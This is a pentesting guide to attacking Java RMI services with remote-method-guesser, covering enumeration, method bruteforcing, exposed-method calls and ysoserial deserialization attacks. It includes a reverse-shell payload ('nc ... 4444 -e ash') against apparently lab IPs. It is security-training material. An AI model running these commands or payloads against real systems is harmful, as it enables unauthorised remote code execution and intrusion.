Java RMI Pentesting

Java Remote Method Invocation (RMI) is an object-oriented RPC mechanism that allows objects in one Java VM to call methods on objects in another Java VM. From a security perspective, RMI services are common attack vectors due to insecure deserialization, exposed methods, and misconfigurations.

Quick Start

When you encounter a Java RMI service, follow this workflow:

1. Enumerate the RMI registry and bound names
2. Guess methods on exposed services
3. Exploit identified vulnerabilities (deserialization, RCE methods, etc.)

Common Ports

# Default RMI ports to check
1090, 1098, 1099, 1199, 4443-4446, 8999-9010, 9999

Note: Remote objects often bind to random high ports. Check nmap output for

java-rmi

ssl/java-rmi

Step 1: Enumerate RMI Services

Use

remote-method-guesser

# Basic enumeration
rmg enum {TARGET_IP} {PORT}

# Example
rmg enum 172.17.0.2 9010

This reveals:

• Bound names - Human-readable names for RMI services
• Class names - Implemented interfaces/classes
• Endpoints - IP:port where objects listen
• Vulnerabilities - CVE-2019-2684, JEP290 bypass, deserialization issues
• Codebase URLs - Where classes are loaded from

Key Enumeration Outputs to Watch For

Vulnerable

JEP290 bypass: Vulnerable

Deserialization allowed

useCodebaseOnly=false

Security Manager: Current Default

Step 2: Analyze ObjID for Service Uptime

ObjID values can reveal when a service started:

rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'

This shows the timestamp when the RMI object was created, helping identify:

• Service restarts
• Deployment changes
• Correlation with other vulnerabilities

Step 3: Bruteforce Remote Methods

Even without identified vulnerabilities, RMI services may expose dangerous methods. RMI doesn't support method enumeration, so bruteforce is necessary:

# Guess methods on all bound services
rmg guess {TARGET_IP} {PORT}

# Example output shows discovered methods:
# [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
# [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!

Method Guessing Strategy

1. Run

   rmg guess

   to discover method signatures
2. Look for dangerous method names:

   execute

   ,

   system

   ,

   eval

   ,

   run

   ,

   login

   ,

   upload

3. Check parameter types for injection points (String, HashMap, Object)

Step 4: Exploit Identified Methods

Call Discovered Methods

# Execute a discovered method
rmg call {TARGET_IP} {PORT} '{ARGUMENT}' \
  --bound-name '{SERVICE_NAME}' \
  --signature '{METHOD_SIGNATURE}' \
  --plugin GenericPrint.jar

# Example
rmg call 172.17.0.2 9010 '"id"' \
  --bound-name plain-server \
  --signature "String execute(String dummy)" \
  --plugin GenericPrint.jar

Deserialization Attacks

When deserialization is possible, use ysoserial gadgets:

# Deserialization attack with CommonsCollections6
rmg serial {TARGET_IP} {PORT} CommonsCollections6 '{PAYLOAD}' \
  --bound-name '{SERVICE_NAME}' \
  --signature '{METHOD_SIGNATURE}'

# Example
rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' \
  --bound-name plain-server \
  --signature "String execute(String dummy)"

Common Gadgets

• CommonsCollections6

  - Most reliable, works on many versions

• CommonsCollections5

  - Alternative for older Java

• Jdk7u2

  - For very old Java versions

• AnTrinh

  - JEP290 bypass gadget

Step 5: Known Interface Exploitation

If rmg identifies a known class (e.g., JMX Server), use the

known

# Get details on known RMI classes
rmg known javax.management.remote.rmi.RMIServerImpl_Stub

JMX Server Exploitation

JMX RMI services often expose:

• MLet MBean - Dynamic MBean loading = RCE
• Deserialization - Even after CVE-2016-3427, RMIConnection is unfiltered

Use beanshooter for JMX exploitation.

Step 6: Search for Source Code

Use bound names and class names to search:

# Search GitHub for the interface
site:github.com "de.qtc.rmg.server.interfaces.IPlainServer"

# Search for bound names
site:github.com "plain-server" "RMI"

Finding source code reveals:

• All available methods
• Authentication bypasses
• Hardcoded credentials
• Additional vulnerabilities

Tools Reference

rmiscout.py

barmie.py

beanshooter.py

Common Vulnerabilities

CVE-2019-2684 (Localhost Bypass)

RMI registry allows unbind operations that bypass localhost restrictions.

Check:

rmg enum

Vulnerable

Exploit: Use rmg with appropriate payload

JEP290 Bypass

JEP290 added deserialization filters, but many implementations have bypasses.

Check:

rmg enum

JEP290 bypass: Vulnerable

Exploit: Use

rmg serial

Insecure Deserialization

Custom RMI services often lack deserialization filters.

Check:

rmg enum

Deserialization allowed

Exploit: Use

rmg serial

Workflow Summary

# 1. Enumerate
rmg enum {IP} {PORT}

# 2. Check ObjID for uptime
rmg objid '{OBJID}'

# 3. Guess methods
rmg guess {IP} {PORT}

# 4. Call dangerous methods
rmg call {IP} {PORT} '{ARG}' --bound-name '{NAME}' --signature '{SIG}'

# 5. Deserialization attacks
rmg serial {IP} {PORT} CommonsCollections6 '{PAYLOAD}' --bound-name '{NAME}' --signature '{SIG}'

# 6. Known interfaces
rmg known '{CLASS_NAME}'

Tips

1. Always enumerate first - Don't skip the

   rmg enum

   step
2. Check all ports - RMI objects bind to random ports
3. Look for codebase URLs - These often reveal internal paths
4. Search GitHub - Bound names and class names are often unique
5. Try multiple gadgets - Different Java versions need different payloads
6. Use GenericPrint.jar - For testing method calls without side effects

References

• remote-method-guesser Documentation
• Attacking Java RMI after JEP 290
• Method Guessing Guide
• rmiscout Blog Post
• BlackHat RMI Talk